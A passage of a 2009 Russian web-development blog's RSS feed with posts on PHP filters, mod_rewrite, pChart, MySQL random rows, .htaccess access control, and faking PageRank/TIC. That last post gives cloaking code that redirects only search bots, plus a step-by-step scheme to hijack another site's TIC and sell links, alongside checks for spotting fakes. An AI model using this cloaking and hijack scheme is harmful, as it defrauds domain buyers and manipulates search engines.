<p><strong>FILTER_FLAG_IPV6</strong> (только для <strong>VALIDATE_IP</strong>) — требует, чтобы IP-адрес был в формате <strong>IPV6</strong></p>
<p><strong>FILTER_FLAG_NO_RES_RANGE </strong>(только для <strong>VALIDATE_IP</strong>) — требует, чтобы IP-адрес не был в диапазоне зарезервированных адресов</p>
<p><strong>FILTER_FLAG_NO_PRIV_RANGE</strong> (только для <strong>VALIDATE_IP</strong>) — требует, чтобы IP-адрес не был в диапазоне локальных адресов</p>
<p><strong>FILTER_NULL_ON_FAILURE</strong> — Возвращает null вместо пустой строки, если не проходит проверка или какой-нибудь флаг</p>
<p>ps:Нашел  сей чудный  ман вот здесь <noindex> <a href="http://webpeeps.ru/article/12/" rel="nofollow"> webpeeps.ru</a></noindex></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/06/01/filtraciya-dannyx-v-php/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Apache mod_rewrite</title>
		<link>http://saintist.ru/2009/05/29/apache-mod_rewrite/</link>
		<comments>http://saintist.ru/2009/05/29/apache-mod_rewrite/#comments</comments>
		<pubDate>Fri, 29 May 2009 21:24:00 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[Apache]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=512</guid>
		<description><![CDATA[Отличная шпаргалка по .htaccess и по оформлению и по информации. Cмотреть когда что-то подзабыли. Показаны примеры на распрастраненные вопросы. Синтаксис регулярных выражений :^ начало строки $ конец строки . (точка) любой символ (a&#124;b) a или b (&#8230;) выбор группы [abc] любой символ из диапазона (a или b или c) [^abc] ни один символ из диапазона [...]]]></description>
			<content:encoded><![CDATA[<p>Отличная шпаргалка по .htaccess и по оформлению и по информации.<br />
Cмотреть когда что-то подзабыли. Показаны примеры на распрастраненные вопросы.</p>
<p><span id="more-512"></span></p>
<p><strong>Синтаксис регулярных выражений</strong></p>
<table border="0" cellspacing="0" cellpadding="2" width="100%">
<tbody>
<tr>
<td>:^</td>
<td>начало строки</td>
</tr>
<tr class="fn">
<td>$</td>
<td>конец строки</td>
</tr>
<tr>
<td>. (точка)</td>
<td>любой символ</td>
</tr>
<tr class="fn">
<td>(a|b)</td>
<td>a или b</td>
</tr>
<tr>
<td>(&#8230;)</td>
<td>выбор группы</td>
</tr>
<tr class="fn">
<td>[abc]</td>
<td>любой символ из диапазона (a или b или c)</td>
</tr>
<tr>
<td>[^abc]</td>
<td>ни один символ из диапазона (ни a или b или c)</td>
</tr>
<tr class="fn">
<td>a?</td>
<td>символ a 1 или 0 раз</td>
</tr>
<tr>
<td>a*</td>
<td>символ a 0 или более раз</td>
</tr>
<tr class="fn">
<td>a+</td>
<td>символ a 1 или более раз</td>
</tr>
<tr>
<td>a{3}</td>
<td>символ a точно 3 раза</td>
</tr>
<tr class="fn">
<td>a{3,}</td>
<td>символ a более 3 раз</td>
</tr>
<tr>
<td>a{3,6}</td>
<td>символ a от 3 до 6 раз</td>
</tr>
<tr class="fn">
<td>!(pattern)</td>
<td>! &#8212; отрицание</td>
</tr>
</tbody>
</table>
<p><strong>Флаги RewriteRule</strong></p>
<table border="0" cellspacing="0" cellpadding="2" width="100%">
<tbody>
<tr>
<td>R[=code]</td>
<td>Перенаправление на новый URL по заданному коду</td>
</tr>
<tr class="fn">
<td>F</td>
<td>Forbidden (отправляет заголовок 403)</td>
</tr>
<tr>
<td>G</td>
<td>Больше не существует (Gone)</td>
</tr>
<tr class="fn">
<td>P</td>
<td>Прокси (Proxy)</td>
</tr>
<tr>
<td>L</td>
<td>Последнее правило</td>
</tr>
<tr class="fn">
<td>N</td>
<td>Следующий</td>
</tr>
<tr>
<td>C</td>
<td>Chain</td>
</tr>
<tr class="fn">
<td>T=mime-type</td>
<td>Установка mime-type</td>
</tr>
<tr>
<td>NS</td>
<td>Skip if internal sub-request</td>
</tr>
<tr class="fn">
<td>NC</td>
<td>Не зависимый от регистра символов</td>
</tr>
<tr>
<td>QSA</td>
<td>Append query string (Прибавляет строку запроса)</td>
</tr>
<tr class="fn">
<td>NE</td>
<td>Не отменяет результат</td>
</tr>
<tr>
<td>PT</td>
<td>Через</td>
</tr>
<tr class="fn">
<td>S=x</td>
<td>Пропустить следующие x правил</td>
</tr>
<tr>
<td>E=var:value</td>
<td>Устанавливает переменную окружения &#171;var&#187; в &#171;value&#187;.</td>
</tr>
</tbody>
</table>
<p><strong>Примеры mod_rewrite</strong></p>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr bgcolor="#FFFFFF">
<td colspan="2"># Сайт перенесен с одного домена на другой<br />
# с domain.com на domain2.com<br />
RewriteCond %{HTTP_HOST} ^www.domain.com$ [R=301,1]<br />
RewriteRule ^(.*)$ http://www.domain2.com/$1</td>
</tr>
<tr class="fn">
<td colspan="2"># Страница временно перемещена<br />
# domain.com/page.htm на domain.com/new_page.htm<br />
RewriteRule ^page.htm$ new_page.htm [R,NC,L]</td>
</tr>
<tr bgcolor="#FFFFFF">
<td colspan="2"># Человекопонятный URL (ЧПУ)<br />
# domain.com/<span>category-name-1</span>/ из domain.com/categories.php?name=<span>category-name-1</span><br />
RewriteRule ^([A-Za-z0-9-]+)/?$ categories/php?name=$1 [L]</td>
</tr>
<tr class="fn">
<td colspan="2"># Человекопонятный URL (ЧПУ)<br />
# domain.com/articles/<span>title</span>/<span id="green">5</span>/ из domaim.com/articles.php?name=<span id="green">title</span>$page=<span>5</span><br />
RewriteRule ^articles<span>([A-Za-z0-9-]+)</span> /<span id="green">([0-9]+)</span>/?$ article.php?name=<span>$1</span>&amp;page=<span id="green">$2</span> [L]</td>
</tr>
<tr bgcolor="#FFFFFF">
<td colspan="2"># Блокирование спама по HTTP_REFERER<br />
RewriteCond %{HTTP_REFERER} (weight) [NC,OR]<br />
RewriteCond %{HTTP_REFERER} (drugs) [NC]<br />
RewriteRule .* &#8212; [F]</td>
</tr>
</tbody>
</table>
<p><strong>RewriteCond FLAGS</strong></p>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr bgcolor="#FFFFFF">
<td width="16%">NC</td>
<td width="84%">Не зависимый от регистра символов</td>
</tr>
<tr class="fn">
<td>OR</td>
<td>Allows a rule to apply if one of a series of conditions are true</td>
</tr>
</tbody>
</table>
<p><strong>Коды ответа сервера</strong></p>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tbody>
<tr bgcolor="#FFFFFF">
<td width="15%">301</td>
<td width="85%">Moved permanently (Перемещен постоянно)</td>
</tr>
<tr class="fn">
<td>302</td>
<td>Moved temporarily (Перемещен временно)</td>
</tr>
<tr bgcolor="#FFFFFF">
<td>403</td>
<td>Forbidden (Запрещено)</td>
</tr>
<tr class="fn">
<td>404</td>
<td>Not found (Файл не файден)</td>
</tr>
<tr bgcolor="#FFFFFF">
<td>410</td>
<td>Gone (Больше не существует)</td>
</tr>
</tbody>
</table>
<h3>Переменные сервера</h3>
<p><strong>Формат</strong><br />
%{NAME_OF_VAR}</p>
<p><strong>HTTP Headers (заголовки) </strong><br />
HTTP_USER_AGENT<br />
HTTP_REFERER<br />
HTTP_COOKIE<br />
HTTP_FORWARDED<br />
HTTP_HOST<br />
HTTP_PROXY_CONNECTION<br />
HTTP_ACCEPT</p>
<p><strong>Request (переменные запроса)</strong><br />
REMOTE_ADDR<br />
REMOTE_HOST<br />
REMOTE_USER<br />
REMOTE_IDENT<br />
REQUEST_METHOD<br />
SCRIPT_FILENAME<br />
PATH_INFO<br />
QUERY_STRING<br />
AUTH_TYPE</p>
<p><strong>Server (переменные сервера) </strong><br />
DOCUMENT_ROOT<br />
SERVER_ADMIN<br />
SERVER_NAME<br />
SERVER_ADDR<br />
SERVER_PORT<br />
SERVER_PROTOCOL<br />
SERVER_SOFTWARE</p>
<p><strong>Время</strong><br />
TIME_YEAR<br />
TIME_MON<br />
TIME_DAY<br />
TIME_HOUR<br />
TIME_MIN<br />
TIME_SEC<br />
TIME_WDAY<br />
TIME</p>
<p><strong>Специальные</strong><br />
API_VERSION<br />
THE_REQUEST<br />
REQUEST_URI<br />
REQUEST_FILENAME<br />
IS_SUBREQ</p>
<p><strong>Директивы</strong><br />
RewriteEngine<br />
RewriteOptions<br />
RewriteLog<br />
RewriteLogLevel<br />
RewriteLock<br />
RewriteMap<br />
RewriteBase<br />
RewriteCond<br />
RewriteRule</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/29/apache-mod_rewrite/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>PHP  строим графики  (pChart)</title>
		<link>http://saintist.ru/2009/05/29/php-stroim-grafiki-pchart/</link>
		<comments>http://saintist.ru/2009/05/29/php-stroim-grafiki-pchart/#comments</comments>
		<pubDate>Fri, 29 May 2009 21:16:35 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=508</guid>
		<description><![CDATA[Хороший скрипт который строит графики. Требования: маленький размер, разнообразие, кешировании картинок. Чудо скрипт весит всего 300 кб. Легкий в подключении, вывод картинок как прямиком в браузер так и в файл, возможно брать данные как из массива так и из CSV файла, если картинка выводится в браузер возможно кеширование картинок для уменьшения нагрузки на сервер при [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/pchart.png"><img class="size-medium wp-image-509 aligncenter" title="pchart" src="http://saintist.ru/wp-content/uploads/2009/05/pchart-300x98.png" alt="pchart" width="300" height="98" /></a></p>
<p>Хороший скрипт который строит графики. Требования: маленький размер, разнообразие, кешировании картинок.</p>
<p>Чудо скрипт весит всего 300 кб.</p>
<p><span id="more-508"></span></p>
<p>Легкий в подключении, вывод картинок как прямиком в браузер так и в файл, возможно брать данные как из массива так и из CSV файла, если картинка выводится  в браузер возможно кеширование картинок для уменьшения нагрузки на сервер при больших данных.</p>
<p>Разнообразие видов графиков поражает. В графике каждой точке можно назначить ярлычок или метку. В графике можно выводить несколько данных.</p>
<p>Здесь  http://pchart.sourceforge.net/</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/29/php-stroim-grafiki-pchart/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL случайный элемент</title>
		<link>http://saintist.ru/2009/05/29/mysql-sluchajnyj-element/</link>
		<comments>http://saintist.ru/2009/05/29/mysql-sluchajnyj-element/#comments</comments>
		<pubDate>Fri, 29 May 2009 21:09:21 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=506</guid>
		<description><![CDATA[Попадается задача вывода случайного элемента или нескольких элементов из таблицы MySQL. Самое простое решения: SELECT * FROM table ORDER BY rand() Используется специальная функция MySQL которая генерирует случайное число &#8212; RAND() Результатом выполнения этого запроса к MySQL будет вывод всех записей таблицы в случайном порядке. Как ограничить количество выводимых случайных записей? Используем оператор LIMIT. SELECT [...]]]></description>
			<content:encoded><![CDATA[<p>Попадается задача вывода случайного элемента или нескольких элементов из таблицы MySQL.</p>
<p>Самое простое решения:<br />
<span id="more-506"></span></p>
<p><strong>SELECT * FROM table ORDER BY rand()</strong></p>
<p>Используется специальная функция MySQL которая генерирует  случайное число &#8212; RAND()</p>
<p>Результатом выполнения этого запроса к MySQL будет вывод всех записей таблицы в случайном порядке.<br />
Как ограничить количество выводимых случайных записей?<br />
Используем оператор LIMIT.</p>
<p><strong>SELECT * FROM table ORDER BY rand() LIMIT 1</strong></p>
<p>При больших объемах таблицы (более 10 000 записей) этот запрос становится медленным и советуют применять другой более сложный но быстрый запрос:</p>
<p><strong>SELECT name FROM my_table JOIN ( SELECT CEIL(RAND() * ( SELECT MAX(id) FROM my_table )) AS randomID ) AS random_table ON random_table.randomID=my_table.ID</strong></p>
<p>При сравнении первого и второго варианта на выборке из 50 000 рядов  получены следующие данные:</p>
<p>1 вариант &#8212; примерно 1,5 сек.</p>
<p>2 вариант -римерно 0,001 сек.</p>
<p>Простое не всегда быстрое.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/29/mysql-sluchajnyj-element/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>склейка PageRank Тиц</title>
		<link>http://saintist.ru/2009/05/29/sklejka-pagerank-tic/</link>
		<comments>http://saintist.ru/2009/05/29/sklejka-pagerank-tic/#comments</comments>
		<pubDate>Fri, 29 May 2009 20:43:47 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[PageRank]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=502</guid>
		<description><![CDATA[Многие на удивление, не знакомы со склейкой PageRank. Зеркало, алиас, склейка В Интернете существует понятие зеркал и алиасов. Зеркало сайта это точная копия данных одного сервера на другом, которая создается для предоставления нескольких источников одной и той же информации в целях распределения нагрузки, защиты данных и др. Алиас (англ. alias – псевдоним, синоним) позволяет установить [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/fake-pagerank-google-pr.jpg"><img class="size-full wp-image-503 aligncenter" title="fake-pagerank-google-pr" src="http://saintist.ru/wp-content/uploads/2009/05/fake-pagerank-google-pr.jpg" alt="fake-pagerank-google-pr" width="363" height="248" /></a></p>
<p>Многие  на удивление, не знакомы со склейкой PageRank.<br />
Зеркало, алиас, склейка</p>
<p><strong>В Интернете существует понятие зеркал и алиасов.</strong></p>
<p><strong>Зеркало сайта </strong>это точная копия данных одного сервера на другом, которая создается для предоставления нескольких источников одной и той же информации в целях распределения нагрузки, защиты данных и др.<br />
<strong>Алиас </strong>(англ. alias – псевдоним, синоним) позволяет установить дополнительное доменное имя, которое будет ссылаться на один и тот же сайт. Примерами алиасов могут служить directory.google.com и dir.google.com.<br />
<span id="more-502"></span><br />
Разные поисковые системы используют различные алгоритмы, при работе с зеркалами сайтов. Но все они заинтересованы в склейке зеркал, почему? Допустим, у вас есть сайт на домене umc.com.ua (бывший оператор мобильной связи на Украине). Он долго работал в сети и получил множество обратных ссылок, но вас теперь купил Российский оператор МТС и решил переименовать бренд в Украине на Российский (mts.com.ua). Если бы поисковики не давали возможности склейки, тогда пришлось бы раскручивать mts.com.ua и зарабатывать авторитет заново. Благодаря склейке, у вебмастеров имеется прекрасная возможность легко переносить сайты на новый домен без потери ссылочного графа.</p>
<p>Причин создания зеркал может быть множество. В яндексе для этого необходимо использовать директиву Host в файле robots.txt, а в Google надо делать редирект с 301 ошибкой на новый домен.<br />
Под склейкой понимается то, что старый и новый домен считается за один сайт и ссылочные графы обоих суммируются (объединяются).<br />
Как заработать фальшивый PageRank</p>
<p>Со склейкой понятно, теперь вернемся к фальшивым индикаторам PageRankи тИЦ. Изначально подразумевалось, что склейка может проводиться только владельцами обоих доменов, однако, её могут использовать и злоумышленники. Например, чтобы заработать большой PR для своего сайта, нужно перенаправить его на один из тех, с которым хотите его склеить.<br />
Вот  примерный алгоритм:</p>
<p>1. Найти список весомых сайтов в заданной зоне .ru (или другой). Можно с помощью запроса inurl:ru site:.ru.</p>
<p>2. Сделать 301-ый (постоянный) или 302-ый (временный) редирект с клоакингом.</p>
<p><span style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span style="color: #40454b; font-family: Verdana; font-size: 11px; line-height: 15px;">if (Googlebot) redirect(“http://website-with-high-pagerank.ru”, 301);</span></span></p>
<p>3. Дождаться апдейта PageRank и убрать редирект.</p>
<p>4. Дождаться индексации страниц и расклейки.</p>
<p>Так как апдейты PR происходят нечасто, то после расклейки фальшивый ПР будет ещё присутствовать до следующего апдейта.</p>
<p><strong><br />
Пример склееного сайта и проверка фальшивого Google PageRank.</strong></p>
<p>Часто продают домены у которых  PR довольно высокий, но на них ничего  не размещено, а  идет редирект на какой либо  весомый сайт.</p>
<p><strong>Первый способ проверки на фальшивый PageRank</strong><br />
Посмотреть заголовки, отдаваемые при запросе сайта. Я это делаю с помощью команды wget в шелле. Так как при редиректе может использоваться клоакинг, то необходимо подставить User-Agent гугла.</p>
<p><span style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span style="color: #40454b; font-family: Verdana; font-size: 11px; line-height: 15px;">wget -U “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)” -S http://vilka.ru</span></span></p>
<p><strong><br />
Второй способ проверки склейки в Google</strong></p>
<p>На момент проверки редирект может отсутствовать, поэтому необходимо проверять несколькими способами. Ещё один способ: посмотреть инфо сайта с помощью запроса info:site.ru.</p>
<p>Если Google ещё не расклеил сайты, тогда при таком запросе явно видно, с чем он был склеен.</p>
<p><strong>Третий способ</strong><br />
Если сайт полностью расклеился, у вас никак не получится определить, фальшивый ПР или нет. Поэтому проверяют работу ссылок с анализируемой страницы, либо нахождение уникального текста. Например, на странице http://cylworld.ru/ возьмем текст откуда-нибудь снизу “Kitty Lea (Bizarre 12 2008 / UK) HQ” и введем его в кавычках в поиске:</p>
<p><span style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span style="color: #40454b; font-family: Verdana; font-size: 11px; line-height: 15px;"><span style="border-width: 0px; text-decoration: none; color: #3366cc;">http://www.google.ru/search?q=“Kitty+Lea+(Bizarre+12+2008+/+UK)+HQ”</span></span></span></p>
<p>Видим, что при таком большом ПР (PR8) сайт по практически уникальной фразе не находится на нескольких первых страницах, что говорит, о фальшивости пузомерки.</p>
<p>Склейка в ПС Яндекс происходит немного по другим алгоритмам, и методы проверки, соответственно, разняться.</p>
<p>Можно средствами PHP редиректить каждую отдельную страницу:</p>
<p><span style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span style="font-family: -webkit-monospace; font-size: 13px; text-align: left; white-space: nowrap;"><span style="color: #007700;">if (</span><span style="color: #0000bb;">preg_match</span><span style="color: #007700;">(</span><span style="color: #dd0000;">&#171;#(google|slurp@inktomi|yahoo! slurp|msnbot)#si&#187;</span><span style="color: #007700;">,<br />
</span><span style="color: #0000bb;">$_SERVER</span><span style="color: #007700;">[</span><span style="color: #dd0000;">'HTTP_USER_AGENT'</span><span style="color: #007700;">])) {<br />
</span><span style="color: #0000bb;">header</span><span style="color: #007700;">(</span><span style="color: #dd0000;">&#171;HTTP/1.1 301 Moved Permanently&#187;</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">header</span><span style="color: #007700;">(</span><span style="color: #dd0000;">&#171;Location: http://www.ya.ru/&#187;</span><span style="color: #007700;">);<br />
exit;<br />
} </span></span></span></p>
<p><strong>Бесплатный тИЦ</strong></p>
<p><span style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span style="color: #333333; font-family: Verdana; font-size: 12px; line-height: 19px;">Кратко о том, как поднять тИЦ (дырку уже прикрыли) :</span></span></p>
<p>1. создаем<br />
2. ищем<br />
3. заливаем<br />
4. прописываем<br />
5. ждем<br />
6. смотрим<br />
7. ждем<br />
8. пихаем в сапу<br />
9. получаем бабло</p>
<p>Теперь немного поподробнее:</p>
<p>1. создаем сателлит<br />
2. ищем сайт с тицем и копируем морду<br />
3. заливаем её на поддомен<br />
4. прописываем на поддомене в роботсах основным хостом сайт с тицем<br />
5. ждем ап-два<br />
6. смотрим на приклееный тиц на поддомене и восхищаемся собой, по совместительству мной тоже<span> </span><img class="wp-smiley" style="border: 1px solid #cccccc; padding: 3px;" src="http://mpbseo.ru/wp-includes/images/smilies/icon_smile.gif" alt=":)" /><br />
7. ждем еще ап-два<br />
8. пихаем в сапу домен с перетекшим на него тицем с поддомена<br />
9. получаем бабло и не забываем делиться, для этого можно<span> зарегистрироваться в сапе </span><span> </span>и постоянно получать подобные темы в аськи и другие средства связи, лишь бы реферальские отбивались <img src='http://saintist.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )</p>
<p>Да, никто не спорит, это чит.</p>
<p>Но вам шашечки или ехать?</p>
<p>Эх, кто-бы знал сколько денег капает на аккаунт в сапе с рефералов от спаленных ранее им тем&#8230;</p>
<p><span style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span style="font-family: -webkit-monospace; font-size: 13px; text-align: left; white-space: nowrap;"><span style="color: #007700;"><br />
</span></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/29/sklejka-pagerank-tic/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>.htaccess настройка доступа к хосту</title>
		<link>http://saintist.ru/2009/05/29/htaccess-nastrojka-dostipa-k-xostu/</link>
		<comments>http://saintist.ru/2009/05/29/htaccess-nastrojka-dostipa-k-xostu/#comments</comments>
		<pubDate>Fri, 29 May 2009 20:00:50 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[.htaccess]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=498</guid>
		<description><![CDATA[Если вы создаете хост на своём сервере сами. Нужно сначала создать виртуальный хост (VirtualHost) содержащий вот такие строки: &#60;VirtualHost хост:порт&#62; ServerAdmin адрес@электропоч.ты ServerName хост ServerAlias www.хост DocumentRoot полный_путь_до_сайта AddDefaultCharset windows-1251 Options none &#60;Directory полный_путь_до_сайта&#62; AllowOverride All order allow,deny Allow from all &#60;/Directory&#62; &#60;/VirtualHost&#62; хост &#8212; ваш домен; порт &#8212; на по какому порту будет открываться [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Если вы создаете хост на своём сервере сами. </strong><br />
Нужно сначала создать виртуальный хост (VirtualHost)  содержащий вот такие строки:<br />
<span id="more-498"></span></p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="color: #555555; font-family: Georgia; font-size: 14px; line-height: 21px; text-align: left;">&lt;VirtualHost<span class="Apple-converted-space"> </span><strong>хост</strong>:<strong>порт</strong>&gt;<br />
ServerAdmin<span class="Apple-converted-space"> </span><strong>адрес@электропоч.ты</strong><br />
ServerName<span class="Apple-converted-space"> </span><strong>хост</strong><br />
ServerAlias www.<strong>хост</strong><br />
DocumentRoot<span class="Apple-converted-space"> </span><strong>полный_путь_до_сайта</strong><br />
AddDefaultCharset<span class="Apple-converted-space"> </span><strong>windows-1251</strong><br />
Options none<br />
&lt;Directory<span class="Apple-converted-space"> </span><strong>полный_путь_до_сайта</strong>&gt;<br />
AllowOverride All<br />
order allow,deny<br />
Allow from all<br />
&lt;/Directory&gt;<br />
&lt;/VirtualHost&gt;</span></span></p>
<p><strong>хост</strong> &#8212; ваш домен;<br />
<strong>порт</strong> &#8212; на по какому порту будет открываться ваш сайт(если вы не умеете работать с этим параметром, ставьте 80) ;<br />
<strong>ServerAdmin</strong> &#8212; дирректива отвечающая за то, какой адрес электронной почты будет<br />
показан в случае неисправности хоста, либо при использовании в php скриптах<br />
переменной $_SERVER[’SERVER_NAME’](вместо адрес@электропоч.ты подставьте ваш e-mail). Если дирректива не указана, e-mail адрес будет равен тому, который установлен для всего сервера;<br />
<strong>ServerName </strong>- в этой дирректории указывается название вашего домена;<br />
<strong>ServerAlias </strong>- это псивдоним доменного имени.<br />
Укажите в качестве значения www. и имя вашего домена.<br />
Таким образом ваш домен будет откликаться на адрес с www. и без такового. Полный путь до сайта указывается для того, чтобы сервер знал, где искать ваш сайт.</p>
<p>После этого перезапускаем Apache:<br />
<strong># /etc/init.d/httpd restart</strong></p>
<p>Перейдём к рассмотрению насущного вопроса: .htaccess.</p>
<p>Есть несколько способов использовать .htaccess: размещать в корне сайта и прописывать абсолютные пути к закрываемым дирректориям или файлам, размещать в каждой дирректории где нужно закрыть доступ к файлу<br />
или самой дирректории, комбинировать два первых способа.</p>
<p>Рекомендуют  третий вариант. Это наиболее удобно.</p>
<p>Чтобы закрыть доступ к дирректории, в .htaccess ледует поместить контейнер:</p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="color: #555555; font-family: Georgia; font-size: 14px; line-height: 21px; text-align: left;">&lt;Directory<span class="Apple-converted-space"> </span><strong>путь_до_дирректории</strong>&gt;<br />
order allow,deny<br />
Allow from all<br />
&lt;/Directory&gt;</span></span></p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="color: #555555; font-family: Georgia; font-size: 14px; line-height: 21px; text-align: left;"><br />
</span></span></p>
<p><strong>путь_до_дирректории</strong> &#8212; это дирректория к которой вы хотели бы ограничить доступ;<br />
<strong>order allow,deny</strong> &#8212; это порядок действий производимых по уполчанию. если порядок allow,deny то все неописаные случаи считаются запрещёными, deny,allow &#8212; наоборот.</p>
<p>Пример:</p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="color: #555555; font-family: Georgia; font-size: 14px; line-height: 21px; text-align: left;">&lt;Directory /var/www/scorpion.amateria.ru&gt;<br />
order allow,deny<br />
Allow from 192.168.100.101<br />
&lt;/Directory&gt;</span></span></p>
<p>В данном случае эта дирректива означает что в дирректорию с моим сайтом имеет<br />
доступ только IP-адрес  192.168.100.101. Остальные не имеют доступа. Если нам нужно указать диапозон адресов, можем указать:</p>
<p><strong>Allow from 192.168.100</strong></p>
<p>Такая запись означает, что доступ разрешён адресам начинающимся с 192.168.100, а значение последнего октета может быть любым(в рамках стандарта IPv4).</p>
<p>Для запрета доступа к какому либо файлу можно использовать директиву <span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="color: #555555; font-family: Georgia; font-size: 14px; line-height: 21px; text-align: left;"><strong>&lt;Files</strong>&gt;</span></span>:<br />
Внутренняя часть блока аналогична Directory</p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="color: #555555; font-family: Georgia; font-size: 14px; line-height: 21px; text-align: left;">&lt;Files<span class="Apple-converted-space"> </span><strong>имя_файла</strong>&gt;<br />
Внутренняя часть блока аналогична Directory<br />
&lt;/Files&gt;</span></span></p>
<p>Важной особенностью является то, что имя файла можно указать в виде регулярного выражения.</p>
<p>Например:     <strong><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="color: #555555; font-family: Georgia; font-size: 14px; line-height: 21px; text-align: left;">&lt;Files ~ “\.(gif|jpe?g|png)$”&gt;</span></span></strong>, соответствует самым обычым графическим файлам(gif,jpg,jpeg,png).</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/29/htaccess-nastrojka-dostipa-k-xostu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Analytics в режиме Secure (SSL)</title>
		<link>http://saintist.ru/2009/05/29/google-analytics-v-rezhime-secure-ssl/</link>
		<comments>http://saintist.ru/2009/05/29/google-analytics-v-rezhime-secure-ssl/#comments</comments>
		<pubDate>Fri, 29 May 2009 07:33:39 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[Google Analytics]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=494</guid>
